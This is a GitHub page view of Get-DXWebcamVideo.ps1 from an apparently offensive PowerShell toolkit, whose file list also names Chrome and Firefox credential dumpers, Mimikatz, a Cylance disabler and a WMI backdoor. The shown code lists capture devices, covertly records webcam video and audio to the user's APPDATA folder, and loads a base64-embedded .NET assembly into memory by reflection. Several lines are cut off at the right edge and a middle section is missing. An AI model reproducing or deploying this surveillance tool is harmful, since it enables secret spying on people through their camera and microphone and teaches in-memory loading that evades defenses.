Files

848c919

Go to file

JScriptShell
.gitattributes
.gitignore
DisableCylance.ps1
Get-ChromeDump.ps1
Get-DXWebcamVideo.ps1
Get-FoxDump.ps1
Invoke-ExecuteMSBuild.ps1
Invoke-RemoteMimikatz.ps1
Invoke-WindowsEnum.ps1
Invoke-WmicDriveBy.ps1
LICENSE
WMIBackdoor.ps1

RandomPS-Scripts / Get-DXWebcamVideo.ps1

xorrior Renamed Start-WebcamRecorder to Get-DXWebcamVideo. 1c099b7 · 8 years ago History

Code Blame 273 lines (217 loc) · 106 KB Raw

```
function Get-DXAudioInput
{
  <#
  .SYNOPSIS
  List audio input options for DirextX

  Author: Justin Warner (@sixdub)
  License: BSD 3-Clause

  .DESCRIPTION
  This function will list all audio input options for DirectX

  #>
    $filters = New-Object DirectX.Capture.Filters
    if ($filters.AudioInputDevices -ne $null)
    {
        $filters.AudioInputDevices
    }
    else
    {
        Write-Verbose "[!] There are no audio inputs"
    }
}

function Get-DXVideoInput
{
  <#
  .SYNOPSIS
  List video input options for DirextX

  Author: Justin Warner (@sixdub)
  License: BSD 3-Clause

  .DESCRIPTION
  This function will list all video input options for DirectX

  #>
    $filters = New-Object DirectX.Capture.Filters
    if ($filters.VideoInputDevices -ne $null)
    {
        $filters.VideoInputDevices
    }
    else
    {
        Write-Verbose "[!] There are no video inputs"
    }
}

function Get-DXAudioCompression
{
  <#
  .SYNOPSIS
  List audio compression options for DirextX

  Author: Justin Warner (@sixdub)
  License: BSD 3-Clause
```

```
58        .DESCRIPTION
59        This function will list all audio compression options for DirectX
60
61        #>
62          $filters = New-Object DirectX.Capture.Filters
63          if ($filters.AudioCompressors -ne $null)
64          {
65              $filters.AudioCompressors
66          }
67          else
68          {
69              Write-Verbose "[!] Audio compression not available"
70          }
71      }
72
73      function Get-DXVideoCompression
74      {
75        <#
76        .SYNOPSIS
77        List video compression options for DirextX
78
79        Author: Justin Warner (@sixdub)
80        License: BSD 3-Clause
81
82        .DESCRIPTION
83        This function will list all video compression options for DirectX
84
85        #>
86
87          $filters = New-Object DirectX.Capture.Filters
88          if ($filters.VideoCompressors -ne $null)
89          {
90              $filters.VideoCompressors
91          }
92          else
93          {
94              Write-Verbose "[!] Video Compression not available"
95          }
96      }
97
98      function Get-DXWebcamVideo
99      {
100       <#
101       .SYNOPSIS
102       This function utilizes the DirectX and DShowNET assemblies to record video from the h
103
104       Author: Chris Ross (@xorrior)
105       License: BSD 3-Clause
106
107       .DESCRIPTION
108       This function will capture video output from the hosts webcamera. It will by default
109       Compression can be specified by naming pattern and the first compression method match
110
111       .PARAMETER RecordTime
112       Amount of time to record in seconds. It takes 1-2 seconds for the video to open. Defa
113
114       .PARAMETER Path
115       File path to save the recorded output. Defaults to the current users APPDATA director
116
117       .PARAMETER VideoInputIndex
118       The index of the input device to use. To find this, you can use Get-DXVideoInput. Def
```

```
200                 $VideoCapture.VideoCompressor = $VidCompression
201             }
202             catch [System.Exception] {
203                 Write-Error $_
204                 break
205             }
206         }
```

```
207         if ($PSBoundParameters['AudioCompressorPattern']) {
208             try {
209                 $AudCompression = Get-DXAudioCompression | ?{$_.Name -like $AudioCompressor
210                 Write-Verbose "[+] Selected the Audio compression $($AudCompression.Name)"
211                 Write-Verbose "[+] Setting Audio Compression"
212                 $VideoCapture.AudioCompressor = $AudCompression
213             }
214             catch [System.Exception] {
215                 Write-Error $_
216                 break
217             }
218         }
219 
220         #Set the framerate to help control size
221         $VideoCapture.FrameRate = $FrameRate
222         Write-Verbose "[+] Framerate Set to $FrameRate"
223 
224         #Start the video capture
225         Write-Verbose "[+] Starting Webcam video capture"
226         try{
227             $VideoCapture.Start()
228         }
229         catch [System.Exception]{
230             $VideoCapture.Stop()
231             Write-Error $_
232             break
233         }
234 
235         #Pause while the recording goes
236         Write-Verbose "[+] Capture Started. Sleeping $Recordtime Seconds..."
237         Start-Sleep -seconds $RecordTime
238 
239         $VideoCapture.stop()
240 
241         Write-Verbose "[+] Webcam video capture completed"
242 
243         Get-ChildItem -Path $Path
244     }
245 
246     ###### LOAD ASSEMBLIES USED BY ALL CMDLETS ######
247 
248     #ALL CREDIT FOR THE FOLLOWING .NET ASSEMBLIES GOES TO THE ORIGINAL AUTHORS. THE ASSEMBL
249     #DirectX Capture Class Library:
250     #Author: Brian Low
251     #CodeProject User: @Brian-Low
252     #Link: http://www.codeproject.com/Articles/3566/DirectX-Capture-Class-Library
253     #License: Public Domain
254 
255     #DirectShowNet:
256     #Author: Unknown
257     #http://directshownet.sourceforge.net/
258     #License: GNU Lesser General Public License
259 
260     #Merged the DirectX and DShowNET assemblies
261     $encMergedAssembly = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
262 
263     #Convert the base64 encoded assembly to raw bytes.
264     $bytes = [Convert]::FromBase64String($encMergedAssembly)
265     try
266     {
267         $null = [System.Reflection.Assembly]::Load($bytes)
268     }
269     catch [Exception]
270     {
271         Write-Error $_
272         break
273     }
```